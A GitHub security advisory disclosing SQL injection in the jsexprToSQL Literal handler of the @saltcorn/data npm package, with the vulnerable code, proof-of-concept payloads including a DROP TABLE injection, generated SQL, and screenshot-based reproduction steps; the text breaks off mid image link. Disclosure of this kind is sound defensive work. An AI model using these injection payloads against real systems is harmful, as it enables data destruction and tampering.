GitHub Security Advisory: GHSA-59xv-588h-2vmm
Package: @saltcorn/data (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 1.6.0-alpha.0, < 1.6.0-beta.4
Patched in: 1.6.0-beta.4

Summary: @saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler

Details:
## Summary

The `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.


## Vulnerable Component

**File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118

```typescript
Literal({ value }: { value: ExtendedNode }) {
  if (typeof value == "string") return `'${value}'`;  // NO ESCAPING!
  return `${value}`;
},
```

**Call chain:** Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL.

## Proof of Concept

### Injection via Formula Constraint

When an admin creates a Formula-type table constraint with the expression:

```javascript
name === "test' OR '1'='1"
```

The `jsexprToSQL()` function generates:

```sql
(name)=('test' OR '1'='1')
```

This is then executed as:

```sql
ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1'));
```

The single quote in the string literal is not escaped, breaking out of the SQL string context.

### More Dangerous Payload

```javascript
name === "'; DROP TABLE users; --"
```

Generates:

```sql
(name)=(''; DROP TABLE users; --')
```

### Verified on Saltcorn v1.5.0 (Docker)

Direct invocation of `jsexprToSQL()` inside the running container confirms the vulnerability:

```
Input:  name === "hello"
Output: (name)=('hello')                          ← Normal

Input:  name === "test' OR '1'='1"
Output: (name)=('test' OR '1'='1')                ← Single quote NOT escaped, OR injected

Input:  name === "'; DROP TABLE users; --"
Output: (name)=(''; DROP TABLE users; --')         ← DROP TABLE injected
```

The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).

### PoC Screenshot

1. Create a table after moving to the table menu

<img width="1194" height="559" alt="SCR-20260307-edqn" src="https://github.com/user-attachments/assets/a2d11102-f49b-4b2b-88ff-fced37476b6f" />


2. Go to the table and then to `Constraits`

<img width="1180" height="600" alt="SCR-20260307-edsg" src="https://github.com/user-attachments/assets/b55ddace-01be-4a53-8f62-cbec98172cd7" />

3. Go to `Formula`

<img width="1130" height="518" alt="SCR-20260307-edud" src="https://github.com/user-attachments/assets/8a5addc6-e681-401b-91ea-bce3b0eece54" />

4. Create a test table for verification

<img width="857" height="294" alt="SCR-20260307-eetw" src="https://github.com/user-attachments/assets/debc8581-8145-44cb-a684-2bc3eb7adbcf" />

5. Input the payload and save

<img width="763" height="383" alt="SCR-20260307-ehcz" src="https://github.com/user-attachments/assets/f7a3aa34-7b0b-48ea-b1df-f852f137c37f" />

6. Check the table for testing

<img width="549" height="256" alt="SCR-20260307-ehuh" src="https://github.com/user-attachments/assets/8f6da842-0275-4